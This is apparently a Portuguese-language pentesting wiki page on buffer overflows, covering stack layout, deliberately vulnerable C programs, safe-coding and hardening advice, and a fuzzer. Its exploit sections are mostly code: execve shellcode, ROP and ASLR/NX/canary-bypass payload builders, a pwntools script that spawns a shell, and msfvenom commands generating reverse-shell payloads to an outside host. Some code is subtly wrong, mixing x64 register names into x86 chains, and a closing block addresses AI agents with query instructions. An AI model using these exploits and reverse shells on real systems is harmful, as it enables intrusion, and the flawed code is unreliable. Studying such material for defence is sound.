# Buffer Overflow

## **📋 Índice**

1. [Fundamentos do Buffer Overflow](#-fundamentos-do-buffer-overflow)
2. [Arquitetura de Memória e Stack](#-arquitetura-de-memória-e-stack)
3. [Tipos de Buffer Overflow](#-tipos-de-buffer-overflow)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Proteções de Memória e Bypass](#-proteções-de-memória-e-bypass)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Mitigações](#-detecção-e-mitigações)
9. [Programação Segura](#-programação-segura)
10. [Pentesting com Buffer Overflow](#-pentesting-com-buffer-overflow)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Buffer Overflow**

### **O que é Buffer Overflow?**

**Buffer Overflow** é uma vulnerabilidade de segurança onde um programa escreve dados além dos limites de um buffer alocado na memória, sobrescrevendo áreas adjacentes. Isso pode levar à corrupção de dados, crashes ou, em casos mais graves, execução de código arbitrário.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Stack Layout Normal"
        A[Buffer] --> B[EBP/Saved Frame Pointer]
        B --> C[Return Address]
        C --> D[Local Variables]
    end
    
    subgraph "Stack Layout Após Overflow"
        E[AAAAAAAAAA] --> F[Overwritten EBP]
        F --> G[Malicious Address]
        G --> H[Shellcode]
    end
    
    style G fill:#ff6666
    style H fill:#ff9999
```

### **Tipos de Buffer Overflow**

| Tipo                 | Descrição                      | Localização   | Dificuldade |
| -------------------- | ------------------------------ | ------------- | ----------- |
| **Stack-based**      | Overflow no stack              | Stack (pilha) | Baixa-Média |
| **Heap-based**       | Overflow no heap               | Heap          | Média-Alta  |
| **Global**           | Overflow em variáveis globais  | BSS/Data      | Média       |
| **Off-by-one**       | Overflow de 1 byte             | Stack/Heap    | Média       |
| **Integer Overflow** | Overflow em operações inteiras | Variável      | Média       |
| **Format String**    | Overflow via formatadores      | Stack         | Baixa       |

***

## 🏗️ **Arquitetura de Memória e Stack**

### **Estrutura da Memória de um Processo**

```python
#!/usr/bin/env python3
# memory_architecture.py - Arquitetura de memória

class MemoryArchitecture:
    """Explicação da arquitetura de memória de um processo"""
    
    @staticmethod
    def explain_stack():
        """Explicar estrutura do stack"""
        print("📚 Estrutura do Stack (Pilha)")
        print("=" * 50)
        print("Endereços Altos (0xFFFFFFFF)")
        print("+--------------------------+")
        print("|   Argumentos da Função   |  ← Menos frequente")
        print("+--------------------------+")
        print("|   Endereço de Retorno    |  ← EIP/RIP")
        print("+--------------------------+")
        print("|   Saved EBP/RBP          |  ← Frame Pointer")
        print("+--------------------------+")
        print("|   Variáveis Locais       |  ← Buffer")
        print("+--------------------------+")
        print("|   ...                    |")
        print("Endereços Baixos (0x00000000)")
    
    @staticmethod
    def explain_registers():
        """Explicar registradores importantes"""
        print("\n📋 Registradores Importantes")
        print("=" * 50)
        
        registers = {
            "x86": {
                "EIP": "Instruction Pointer - Aponta para próxima instrução",
                "ESP": "Stack Pointer - Aponta para topo da pilha",
                "EBP": "Base Pointer - Aponta para base do stack frame",
                "EAX": "Acumulador - Resultados de operações"
            },
            "x64": {
                "RIP": "Instruction Pointer (64-bit)",
                "RSP": "Stack Pointer (64-bit)",
                "RBP": "Base Pointer (64-bit)",
                "RAX": "Acumulador (64-bit)"
            }
        }
        
        for arch, regs in registers.items():
            print(f"\n{arch}:")
            for name, desc in regs.items():
                print(f"   {name}: {desc}")
    
    @staticmethod
    def explain_call_stack():
        """Explicar chamada de função"""
        print("\n🔄 Chamada de Função e Stack")
        print("=" * 50)
        
        call_sequence = [
            "1. Argumentos da função são empilhados (ordem reversa)",
            "2. Endereço de retorno (EIP) é empilhado",
            "3. EBP atual é empilhado (prolog)",
            "4. ESP é decrementado para alocar espaço para variáveis locais",
            "5. Função executa seu código",
            "6. Variáveis locais são desalocadas",
            "7. EBP antigo é restaurado (epilog)",
            "8. Retorno para o endereço salvo (ret)"
        ]
        
        for step in call_sequence:
            print(f"   {step}")

# Executar
MemoryArchitecture.explain_stack()
MemoryArchitecture.explain_registers()
MemoryArchitecture.explain_call_stack()
```

### **Vulnerável vs Seguro**

```c
// vulnerable.c - Código vulnerável a buffer overflow
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];  // Buffer de 64 bytes no stack
    strcpy(buffer, input);  // SEM verificação de tamanho!
    printf("Buffer: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}
```

```c
// safe.c - Código seguro
#include <stdio.h>
#include <string.h>

void safe_function(char *input) {
    char buffer[64];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';  // Garantir null termination
    printf("Buffer: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        safe_function(argv[1]);
    }
    return 0;
}
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Stack-based Buffer Overflow (x86)**

```python
#!/usr/bin/env python3
# stack_overflow_exploit.py - Exploração de stack overflow (x86)

import struct
import subprocess
import sys

class StackOverflowExploit:
    """Exploração de buffer overflow baseado em stack (x86)"""
    
    def __init__(self, target_binary):
        self.target = target_binary
        self.payload = None
    
    def find_offset(self, pattern_length=500):
        """Encontrar offset para sobrescrever EIP"""
        # Criar pattern único
        pattern = self._create_pattern(pattern_length)
        
        print(f"[*] Encontrando offset com pattern de {pattern_length} bytes")
        
        # Executar com pattern
        result = subprocess.run([self.target, pattern], 
                               capture_output=True, text=True, stderr=subprocess.PIPE)
        
        # Analisar core dump ou segfault
        # Em um cenário real, usaria gdb para encontrar offset
        
        return 64  # Offset comum para buffer de 64 bytes
    
    def _create_pattern(self, length):
        """Criar pattern único para encontrar offset"""
        pattern = ""
        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
        
        for i in range(length):
            pattern += chars[i % len(chars)]
        
        return pattern
    
    def create_shellcode(self):
        """Criar shellcode para execução de shell"""
        # Shellcode execve("/bin/sh", NULL, NULL) - x86
        shellcode = (
            b"\x31\xc0"                     # xor eax, eax
            b"\x50"                         # push eax
            b"\x68\x2f\x2f\x73\x68"         # push "//sh"
            b"\x68\x2f\x62\x69\x6e"         # push "/bin"
            b"\x89\xe3"                     # mov ebx, esp
            b"\x50"                         # push eax
            b"\x53"                         # push ebx
            b"\x89\xe1"                     # mov ecx, esp
            b"\x31\xd2"                     # xor edx, edx
            b"\xb0\x0b"                     # mov al, 11
            b"\xcd\x80"                     # int 0x80
        )
        return shellcode
    
    def find_jmp_esp(self):
        """Encontrar endereço de JMP ESP no binário"""
        # Em um exploit real, encontraria via gdb
        # Exemplo: 0x080485c0 (JMP ESP)
        return 0x080485c0
    
    def build_payload(self, offset, ret_addr, shellcode):
        """Construir payload completo"""
        # NOP sled
        nop_sled = b"\x90" * 100
        
        # Payload: NOP sled + shellcode + padding + return address
        payload = nop_sled + shellcode
        payload += b"A" * (offset - len(payload))
        payload += struct.pack("<I", ret_addr)
        
        return payload
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 Stack Buffer Overflow Exploit (x86)")
        print("=" * 60)
        
        # Encontrar offset
        offset = self.find_offset()
        print(f"[+] Offset para EIP: {offset}")
        
        # Criar shellcode
        shellcode = self.create_shellcode()
        print(f"[+] Shellcode: {len(shellcode)} bytes")
        
        # Encontrar endereço JMP ESP
        jmp_esp = self.find_jmp_esp()
        print(f"[+] JMP ESP em: 0x{jmp_esp:08x}")
        
        # Construir payload
        self.payload = self.build_payload(offset, jmp_esp, shellcode)
        print(f"[+] Payload construído: {len(self.payload)} bytes")
        
        print("\n[*] Executando exploit...")
        print(f"    Payload: {self.payload[:100]}...")
        
        # Executar alvo com payload
        # subprocess.run([self.target, self.payload])
        
        return self.payload

# Uso
# exploit = StackOverflowExploit("./vulnerable")
# exploit.exploit()
```

### **Técnica 2: Return-Oriented Programming (ROP)**

```python
#!/usr/bin/env python3
# rop_exploit.py - Exploração com ROP (Return-Oriented Programming)

import struct

class ROPExploit:
    """Exploração de buffer overflow com ROP para bypass de NX"""
    
    def __init__(self, target_binary):
        self.target = target_binary
        self.rop_chain = []
    
    def find_gadgets(self):
        """Encontrar gadgets ROP no binário"""
        # Em um exploit real, usaria ROPgadget ou Ropper
        # Exemplo de gadgets comuns
        gadgets = {
            "pop_rax": 0x080485c0,
            "pop_rdi": 0x080485c2,
            "pop_rsi": 0x080485c4,
            "pop_rdx": 0x080485c6,
            "syscall": 0x080485c8,
            "int_0x80": 0x080485ca
        }
        
        return gadgets
    
    def build_rop_chain(self):
        """Construir ROP chain para execve("/bin/sh", NULL, NULL)"""
        gadgets = self.find_gadgets()
        
        # ROP chain para execve("/bin/sh", NULL, NULL) - x86
        rop_chain = [
            gadgets["pop_rax"],     # pop eax
            0x0b,                   # syscall number for execve (11)
            gadgets["pop_rdi"],     # pop rdi
            0x804a000,              # endereço de "/bin/sh"
            gadgets["pop_rsi"],     # pop rsi
            0x0,                    # NULL
            gadgets["pop_rdx"],     # pop rdx
            0x0,                    # NULL
            gadgets["int_0x80"]     # int 0x80
        ]
        
        # Converter para bytes
        rop_bytes = b""
        for addr in rop_chain:
            rop_bytes += struct.pack("<I", addr)
        
        return rop_bytes
    
    def exploit(self):
        """Executar exploração ROP"""
        print("🚨 ROP Exploit - Bypass NX")
        print("=" * 60)
        
        rop_chain = self.build_rop_chain()
        print(f"[+] ROP chain: {len(rop_chain)} bytes")
        
        return rop_chain

# Uso
# exploit = ROPExploit("./vulnerable")
# exploit.exploit()
```

### **Técnica 3: Heap-based Buffer Overflow**

```c
// heap_overflow.c - Exemplo de heap overflow vulnerável
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct user {
    char name[32];
    int is_admin;
};

int main() {
    struct user *u1 = malloc(sizeof(struct user));
    struct user *u2 = malloc(sizeof(struct user));
    
    printf("Enter name: ");
    gets(u1->name);  // Vulnerável - sem verificação de tamanho
    
    if (u2->is_admin) {
        printf("Admin access granted!\n");
        system("/bin/sh");
    }
    
    free(u1);
    free(u2);
    
    return 0;
}
```

```python
#!/usr/bin/env python3
# heap_overflow_exploit.py - Exploração de heap overflow

import struct

class HeapOverflowExploit:
    """Exploração de heap overflow para corromper estruturas adjacentes"""
    
    def __init__(self):
        self.payload = None
    
    def build_payload(self):
        """Construir payload para corromper struct adjacente"""
        
        # 32 bytes para preencher buffer name
        # + 4 bytes para sobrescrever is_admin
        # is_admin = 1 (true)
        
        payload = b"A" * 32          # Preencher buffer name
        payload += b"B" * 4          # Alinhamento
        payload += struct.pack("<I", 1)  # is_admin = 1
        
        return payload
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 Heap Buffer Overflow Exploit")
        print("=" * 60)
        
        self.payload = self.build_payload()
        print(f"[+] Payload: {self.payload}")
        
        return self.payload

# Uso
# exploit = HeapOverflowExploit()
# exploit.exploit()
```

### **Técnica 4: Format String Exploit**

```c
// format_string.c - Exemplo de format string vulnerável
#include <stdio.h>

int main(int argc, char *argv[]) {
    if (argc > 1) {
        printf(argv[1]);  // Vulnerável! Deveria ser printf("%s", argv[1])
    }
    return 0;
}
```

```python
#!/usr/bin/env python3
# format_string_exploit.py - Exploração de format string

import struct

class FormatStringExploit:
    """Exploração de vulnerabilidade de format string"""
    
    def __init__(self, target_binary):
        self.target = target_binary
    
    def leak_memory(self):
        """Vazar memória via format string"""
        payloads = []
        
        # Leak stack values
        for i in range(1, 20):
            payload = f"%{i}$p"
            payloads.append(payload)
        
        return payloads
    
    def write_memory(self, address, value):
        """Escrita arbitrária na memória via %n"""
        # Format string com %n para escrever na memória
        # Exemplo: %{value}x%{offset}$n
        pass
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 Format String Exploit")
        print("=" * 60)
        
        # Leak de memória
        leak_payloads = self.leak_memory()
        print("[+] Payloads para leak:")
        for payload in leak_payloads[:5]:
            print(f"    {payload}")
        
        # Escrita arbitrária
        print("\n[+] Escrita arbitrária via %n")
        print("    Exemplo: \x1c\xa0\x04\x08%10x%7$n")

# Uso
# exploit = FormatStringExploit("./vulnerable")
# exploit.exploit()
```

### **Técnica 5: Off-by-One Overflow**

```c
// off_by_one.c - Exemplo de off-by-one overflow
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    int i;
    
    for (i = 0; i <= 64; i++) {  // Off-by-one! i <= 64 em vez de i < 64
        buffer[i] = input[i];
    }
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable(argv[1]);
    }
    return 0;
}
```

```python
#!/usr/bin/env python3
# off_by_one_exploit.py - Exploração de off-by-one overflow

import struct

class OffByOneExploit:
    """Exploração de off-by-one overflow para corromper EBP"""
    
    def __init__(self):
        self.payload = None
    
    def build_payload(self, new_ebp, ret_addr):
        """Construir payload para off-by-one overflow"""
        # Off-by-one permite sobrescrever 1 byte do EBP
        # Isso permite manipular o stack frame
        
        # Buffer de 64 bytes + 1 byte extra para overflow
        payload = b"A" * 64
        payload += struct.pack("<B", new_ebp)  # Sobrescrever LSB do EBP
        payload += struct.pack("<I", ret_addr)  # Sobrescrever return address
        
        return payload
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 Off-by-One Overflow Exploit")
        print("=" * 60)
        
        # Novo EBP e return address
        new_ebp = 0x00  # Alinhar com buffer
        ret_addr = 0x080485c0  # JMP ESP ou shellcode
        
        self.payload = self.build_payload(new_ebp, ret_addr)
        print(f"[+] Payload: {len(self.payload)} bytes")
        
        return self.payload

# Uso
# exploit = OffByOneExploit()
# exploit.exploit()
```

***

## 🛡️ **Proteções de Memória e Bypass**

### **Matriz de Proteções**

| Proteção           | Descrição                          | Bypass Técnico                         |
| ------------------ | ---------------------------------- | -------------------------------------- |
| **ASLR**           | Address Space Layout Randomization | Leak de endereços, ROP                 |
| **DEP/NX**         | Data Execution Prevention          | ROP, JOP                               |
| **Stack Canaries** | Cookies de stack                   | Leak de canário, overflow de variáveis |
| **PIE**            | Position Independent Executable    | Leak de base, ROP                      |
| **RELRO**          | Relocation Read-Only               | GOT overwrite (Full RELRO)             |
| **CFG**            | Control Flow Guard                 | JOP, COP                               |
| **SafeSEH**        | Structured Exception Handling      | ROP, SEH overwrite                     |

### **Bypass de ASLR e NX com ROP**

```python
#!/usr/bin/env python3
# aslr_nx_bypass.py - Bypass de ASLR e NX com ROP

import struct
import subprocess

class ASLRNXBypass:
    """Bypass de ASLR e NX usando ROP e leak de endereços"""
    
    def __init__(self, target_binary):
        self.target = target_binary
        self.libc_base = None
        self.rop_chain = []
    
    def leak_libc_address(self):
        """Vazar endereço da libc via GOT leak"""
        print("[*] Leaking libc address...")
        
        # Payload para leak de endereço via GOT
        # Exemplo: printf@GOT
        leak_payload = b"A" * 64
        leak_payload += b"B" * 8  # Padding
        leak_payload += struct.pack("<I", 0x08048400)  # printf@plt
        leak_payload += struct.pack("<I", 0x08048410)  # return after leak
        leak_payload += struct.pack("<I", 0x0804a000)  # printf@got
        
        # Executar e capturar leak
        # Em um exploit real, processaria a saída
        # leaked = subprocess.run([self.target, leak_payload], capture_output=True)
        
        # Simular endereço leakado
        leaked_addr = 0xf7e45670  # Exemplo: printf@libc
        self.libc_base = leaked_addr - self._get_libc_offset("printf")
        
        print(f"[+] Libc base: 0x{self.libc_base:08x}")
        return self.libc_base
    
    def _get_libc_offset(self, function):
        """Obter offset de função na libc"""
        # Em um exploit real, usaria libc database
        offsets = {
            "printf": 0x45670,
            "system": 0x3a940,
            "execve": 0x2e1e0,
            "/bin/sh": 0x15c8b0
        }
        return offsets.get(function, 0)
    
    def build_rop_chain(self):
        """Construir ROP chain usando endereços da libc"""
        if not self.libc_base:
            self.leak_libc_address()
        
        # Calcular endereços reais
        system_addr = self.libc_base + self._get_libc_offset("system")
        binsh_addr = self.libc_base + self._get_libc_offset("/bin/sh")
        
        # ROP chain para system("/bin/sh")
        rop_chain = [
            system_addr,    # system()
            0xdeadbeef,     # return address
            binsh_addr      # argument: "/bin/sh"
        ]
        
        # Converter para bytes
        rop_bytes = b""
        for addr in rop_chain:
            rop_bytes += struct.pack("<I", addr)
        
        return rop_bytes
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 ASLR + NX Bypass with ROP")
        print("=" * 60)
        
        rop = self.build_rop_chain()
        print(f"[+] ROP chain: {len(rop)} bytes")
        
        # Payload completo
        payload = b"A" * 64
        payload += b"B" * 8
        payload += rop
        
        return payload

# Uso
# exploit = ASLRNXBypass("./vulnerable")
# exploit.exploit()
```

### **Bypass de Stack Canaries**

```python
#!/usr/bin/env python3
# stack_canary_bypass.py - Bypass de stack canaries

import struct

class StackCanaryBypass:
    """Bypass de stack canaries via overflow de variáveis ou leak"""
    
    def __init__(self):
        self.canary = None
    
    def leak_canary(self):
        """Vazar canário da stack via format string"""
        print("[*] Leaking stack canary via format string...")
        
        # Payload para leak do canário
        # O canário geralmente está localizado após o buffer
        # Exemplo: AAAA%7$p para leak do 7º argumento
        
        # Simular canário leakado
        self.canary = 0xdeadbeef
        print(f"[+] Canário: 0x{self.canary:08x}")
        
        return self.canary
    
    def overflow_with_canary(self):
        """Overflow preservando o canário"""
        if not self.canary:
            self.leak_canary()
        
        # Payload que preserva o canário
        payload = b"A" * 64          # Preencher buffer
        payload += struct.pack("<I", self.canary)  # Preservar canário
        payload += b"B" * 8          # Padding até return address
        payload += struct.pack("<I", 0x080485c0)  # Return address
        
        return payload
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 Stack Canary Bypass")
        print("=" * 60)
        
        payload = self.overflow_with_canary()
        print(f"[+] Payload com canário preservado: {len(payload)} bytes")
        
        return payload

# Uso
# exploit = StackCanaryBypass()
# exploit.exploit()
```

***

## 🛠️ **Ferramentas de Exploração**

### **Ferramentas CLI**

```bash
# GDB com peda/gef
gdb -q ./vulnerable
(gdb) pattern create 200
(gdb) run < pattern
(gdb) pattern offset $eip

# pwntools (Python)
python -c "from pwn import *; print(cyclic(200))"
python -c "from pwn import *; print(cyclic_find('laaa'))"

# ROPgadget
ROPgadget --binary ./vulnerable | grep "pop"
ROPgadget --binary ./vulnerable --ropchain

# Ropper
ropper --file ./vulnerable --search "pop rdi"
ropper --file ./vulnerable --chain "execve"

# Metasploit pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413a6a

# Checksec
checksec ./vulnerable
pwn checksec ./vulnerable

# Valgrind (detectar overflows)
valgrind ./vulnerable $(python -c "print('A'*200)")

# AddressSanitizer
gcc -fsanitize=address -g -o vulnerable vulnerable.c
```

### **Script de Exploração com Pwntools**

```python
#!/usr/bin/env python3
# pwntools_exploit.py - Exploração usando pwntools

from pwn import *

# Configuração
context.binary = './vulnerable'
context.arch = 'i386'  # ou 'amd64'
context.log_level = 'debug'

def exploit():
    # Criar processo
    p = process('./vulnerable')
    
    # Encontrar offset
    offset = 64  # Buffer size
    
    # Criar shellcode
    shellcode = asm(shellcraft.sh())
    
    # NOP sled
    nop_sled = asm('nop') * 100
    
    # Encontrar JMP ESP
    jmp_esp = 0x080485c0
    
    # Construir payload
    payload = nop_sled + shellcode
    payload += b'A' * (offset - len(payload))
    payload += p32(jmp_esp)
    
    # Enviar payload
    p.sendline(payload)
    
    # Interagir com shell
    p.interactive()

def exploit_rop():
    """Exploração com ROP"""
    p = process('./vulnerable')
    
    # Criar ROP chain
    rop = ROP(context.binary)
    
    # Encontrar gadgets
    rop.execve('/bin/sh', 0, 0)
    
    # Construir payload
    payload = b'A' * 64
    payload += p32(0xdeadbeef)  # Canary
    payload += b'B' * 8
    payload += rop.chain()
    
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()
```

### **Metasploit Modules**

```bash
# Metasploit modules for buffer overflow
use exploit/windows/smb/ms17_010_eternalblue
use exploit/linux/http/apache_mod_cgi_bash_env_exec
use exploit/multi/script/web_delivery
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

# Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f python
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Identificar input vulnerável] --> B[Fuzzing para crash]
    B --> C[Encontrar offset do EIP/RIP]
    C --> D{Proteções ativas?}
    
    D -->|ASLR| E[Leak de endereços]
    D -->|NX| F[ROP chain]
    D -->|Canary| G[Leak canário]
    D -->|Nenhuma| H[Shellcode direto]
    
    E --> I[Construir payload]
    F --> I
    G --> I
    H --> I
    
    I --> J[Executar exploit]
    J --> K[Obter shell]
    K --> L[Elevação de privilégios]
    
    style K fill:#ff6666
    style L fill:#ff3333
```

***

## 🔍 **Detecção e Mitigações**

### **Detecção com AddressSanitizer**

```bash
# Compilar com AddressSanitizer
gcc -fsanitize=address -g -o vulnerable vulnerable.c

# Executar
./vulnerable $(python -c "print('A'*200)")

# Saída esperada
# =================================================================
# ==12345==ERROR: AddressSanitizer: stack-buffer-overflow
```

### **Hardening do Sistema**

```bash
# Habilitar ASLR
echo 2 > /proc/sys/kernel/randomize_va_space

# Verificar ASLR
cat /proc/sys/kernel/randomize_va_space

# Habilitar NX (DEP) no kernel
# Kernel já suporta NX por padrão

# Compilar com proteções
gcc -fstack-protector-all -D_FORTIFY_SOURCE=2 -O2 -o safe safe.c
```

### **Programação Segura**

```c
// safe_functions.c - Funções seguras

#include <stdio.h>
#include <string.h>

// NÃO USAR:
// gets()
// strcpy()
// strcat()
// sprintf()
// scanf("%s")

// USAR:
// fgets()
// strncpy()
// strncat()
// snprintf()
// fgets() com limite

void safe_input() {
    char buffer[64];
    fgets(buffer, sizeof(buffer), stdin);
    buffer[strcspn(buffer, "\n")] = '\0';
}

void safe_copy(char *dest, const char *src, size_t dest_size) {
    strncpy(dest, src, dest_size - 1);
    dest[dest_size - 1] = '\0';
}

void safe_concatenate(char *dest, const char *src, size_t dest_size) {
    strncat(dest, src, dest_size - strlen(dest) - 1);
}

void safe_format(const char *format, ...) {
    char buffer[1024];
    va_list args;
    va_start(args, format);
    vsnprintf(buffer, sizeof(buffer), format, args);
    va_end(args);
}
```

***

## 🔬 **Pentesting com Buffer Overflow**

### **Metodologia de Teste**

```yaml
Fases do Teste de Buffer Overflow:

  FASE 1 - Fuzzing:
    - Identificar inputs vulneráveis
    - Enviar payloads crescentes
    - Monitorar crashes

  FASE 2 - Offset Finding:
    - Criar pattern único
    - Encontrar offset do EIP/RIP
    - Validar controle do fluxo

  FASE 3 - Exploit Development:
    - Identificar proteções (ASLR, NX, Canary)
    - Construir shellcode
    - Criar ROP chain se necessário

  FASE 4 - Exploitation:
    - Testar payload em ambiente controlado
    - Validar shell obtido
    - Documentar processo
```

### **Script de Fuzzing Automatizado**

```python
#!/usr/bin/env python3
# buffer_overflow_fuzzer.py - Fuzzing automatizado

import subprocess
import sys
import time

class BufferOverflowFuzzer:
    """Fuzzer automatizado para buffer overflow"""
    
    def __init__(self, target_binary, crash_string="Segmentation fault"):
        self.target = target_binary
        self.crash_string = crash_string
        self.crashes = []
    
    def fuzz(self, start_size=100, max_size=1000, step=100):
        """Executar fuzzing com tamanhos crescentes"""
        print(f"🚨 Fuzzing {self.target}")
        print("=" * 60)
        
        for size in range(start_size, max_size + 1, step):
            print(f"[*] Testing size: {size}")
            
            # Criar payload
            payload = b"A" * size
            
            try:
                # Executar alvo
                result = subprocess.run(
                    [self.target, payload],
                    capture_output=True,
                    text=True,
                    timeout=2
                )
                
                # Verificar crash
                if self.crash_string in result.stderr or result.returncode != 0:
                    print(f"   ❌ CRASH at size {size}!")
                    self.crashes.append(size)
                else:
                    print(f"   ✅ No crash")
                    
            except subprocess.TimeoutExpired:
                print(f"   ⏰ Timeout at size {size}")
                self.crashes.append(size)
            
            time.sleep(0.1)
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n" + "=" * 60)
        print("📊 FUZZING REPORT")
        print("=" * 60)
        
        if not self.crashes:
            print("✅ No crashes detected")
            return
        
        print(f"🚨 {len(self.crashes)} crash(es) detected:\n")
        print("Crash sizes:")
        for size in self.crashes:
            print(f"   {size} bytes")

# Uso
# fuzzer = BufferOverflowFuzzer("./vulnerable")
# fuzzer.fuzz(start_size=50, max_size=500)
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

#### **Programação Segura**

* [ ] Usar funções seguras (strncpy, snprintf, fgets)
* [ ] Verificar tamanhos de buffer
* [ ] Validar inputs antes do uso
* [ ] Usar compilação com proteções (-fstack-protector, -D\_FORTIFY\_SOURCE)

#### **Revisão de Código**

* [ ] Buscar funções perigosas (gets, strcpy, sprintf)
* [ ] Verificar loops com acesso a arrays
* [ ] Analisar manipulação de strings
* [ ] Testar com inputs longos

### **Checklist para Administradores**

#### **Hardening**

* [ ] Habilitar ASLR (kernel.randomize\_va\_space=2)
* [ ] Compilar com stack protector
* [ ] Usar SELinux/AppArmor
* [ ] Atualizar aplicações vulneráveis

#### **Monitoramento**

* [ ] Monitorar segfaults em logs
* [ ] Configurar crash dumps
* [ ] Alertar para padrões de crash
* [ ] Analisar core dumps regularmente

***

## 📊 **Conclusão**

```yaml
Buffer Overflow:

  🔴 Principais Vetores:
    - Inputs sem validação de tamanho
    - Funções inseguras (gets, strcpy)
    - Loops com erros off-by-one
    - Format strings vulneráveis

  🛡️ Mitigações Essenciais:
    - ASLR (randomização de endereços)
    - NX/DEP (prevenção de execução)
    - Stack canaries
    - Programação segura

  🎯 Prioridade:
    - CRÍTICA: Serviços de rede expostos
    - ALTA: Aplicações com privilégios
    - MÉDIA: Aplicações locais
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/buffer-overflow.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
